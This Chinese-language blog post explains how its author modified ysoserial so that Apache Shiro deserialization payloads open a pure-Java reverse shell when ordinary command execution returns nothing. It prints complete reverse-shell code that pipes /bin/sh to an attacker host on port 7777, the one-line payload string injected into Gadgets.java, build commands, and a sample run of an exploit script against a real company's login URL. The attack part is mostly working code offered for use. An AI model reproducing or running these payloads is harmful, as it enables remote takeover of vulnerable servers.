JAVA4-改写ysoserial解决常规shell失效问题

最近项目中碰到了两个shiro反序列化,能出网反弹shell失败的情况,和公司师傅请教了一下,豁然开朗,修改了一下ysoserial的一些源码,也成功打通了
改动的仓库https://github.com/Kit4y/shuyu-ysoserial
打包版本https://github.com/Kit4y/Awesome_shiro/tree/master/shiro_shuyu

为什么之前打不通?

两次项目均是这种情况,可以出网,可以反弹shell,但是命令执行就是没有回显

在前文中,我们捋了一下yso项目的结构JAVA3-ysoserial调试和构造URLDNS的pop链,再看一下yso的项目框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
│  GeneratePayload.java {{生成poc的入口函数}}
│ Deserializer.java {{反序列化模块}}
│ Serializer.java {{序列化模块}}
│ Strings.java {{字符处理模块}}

├─exploit {{一些直接调用的exp}}
│ JBoss.java
│ JenkinsCLI.java
│ JenkinsListener.java
│ ......

├─payloads {{生成gadget poc的代码}}
│ │ CommonsBeanutils1.java
│ │ URLDNS.java
│ │ .....
│ │
│ ├─annotation {{一些不重要的配置}}
│ │ Authors.java
│ │
│ └─util {{一些重复使用的单元}}
│ ClassFiles.java
│ Gadgets.java

└─secmgr {{和安全有关的管理}}
DelegateSecurityManager.java
ExecCheckingSecurityManager.java

通过点追踪,我们找命令执行的拼接片段在ysoserial\payloads\util\ Gadgets.java

命令是通过

1
2
String cmd="java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";

也就是https://github.com/Kit4y/shuyu-ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java这里的120行左右
拼接,然后作者在代码上注释了一行有意思的话

// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

很明白了,我们可以改成自己的纯java的片段,简直为所欲为,所以我们也打算对他下手了。

java原生Socket_shell

这个不多说网上都有,这里为了反序列化,将所有的函数写上完整的包路径,比如java.net.Socket,java.io.IOException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class rce {
public static void main(String[] args) throws java.io.IOException, InterruptedException {
String host="XXX.XXX.XXX.XXX";
int port=7777;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s=new java.net.Socket(host,port);
java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) {
so.write(pi.read());
}
while(pe.available()>0) {
so.write(pe.read());
}
while(si.available()>0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}

可以编译运行一下测试

植入代码问题(如果只看结果可以跳过这一段)

因为这是java,理论上直接讲我们socket的shell换行符删除,应该就能直接运行
于是将cmd改成暂时写死的的反弹shell代码片

1
cmd=" String host=\"XXX.XXX.XXX.XXX\";int port=7777;String cmd=\"/bin/sh\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();java.net.Socket s=new java.net.Socket(host,port);java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0) {so.write(pi.read());}while(pe.available()>0) {so.write(pe.read());}while(si.available()>0) {po.write(si.read());}so.flush();po.flush();try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();"

果不其然直接报错

看了很久这个报错,问了一下师傅(Orz长亭师傅是真的顶
原因在ProcessBuilder的构造
报错说[source error] cannot find constructor java.lang.ProcessBuilder(java.lang.String)意味着字符串当参数就不能反序列化了,我们查看ProcessBuilder源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* Constructs a process builder with the specified operating
* system program and arguments. This is a convenience
* constructor that sets the process builder's command to a string
* list containing the same strings as the {@code command}
* array, in the same order. It is not checked whether
* {@code command} corresponds to a valid operating system
* command.
*
* @param command a string array containing the program and its arguments
*/
public ProcessBuilder(String... command) {
this.command = new ArrayList<>(command.length);
for (String arg : command)
this.command.add(arg);
}

原来这里应该改成字符串数组,于是我们可以把 String cmd="/bin/sh";改成String[] cmd=new String[]{\"/bin/sh\"}(军先师傅tql,
还有一个是Thread.sleep(50);也报错了,我们先直接删除

然后重新mvn打包-生成ysoserial.jar打一下试试

1
2
jar :mvn clean install -Dmaven.test.skip=true
war:mvn clean package -Dmaven.test.skip=true

ok-成功打通了!

优化

现在我们只要把ip和端口写活着即可,因为暂时不想改整体框架的内容,就直接将command改了一下-懒癌是这样的,随手一改

1
2
3
4
 String[] cmds = command.split(" ");
String ip=cmds[0];
String port=cmds[1];
String cmd="String host=\""+ip+"\";int port="+port+";String[] cmd=new String[]{\"/bin/sh\"};Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();java.net.Socket s=new java.net.Socket(host,port);java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0) {so.write(pi.read());}while(pe.available()>0) {so.write(pe.read());}while(si.available()>0) {po.write(si.read());}so.flush();po.flush();try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();";

https://github.com/Kit4y/Awesome_shiro/tree/master/shiro_shuyu
尝试运行一下
python3 shiro_rce.py http://www.baidu.com/login.do "xxx.xxx.xx.xx 7777"

感触

学习java项目,研究源码是最直接最深触的学习途径,比去什么垃圾教程上看好多了。不仅可以看到项目如何跑,还能膜一下大佬们怎么写优雅的代码。通过修改源码改成自己顺手的工具也是一个不错的学习过程。Orz长亭师傅tql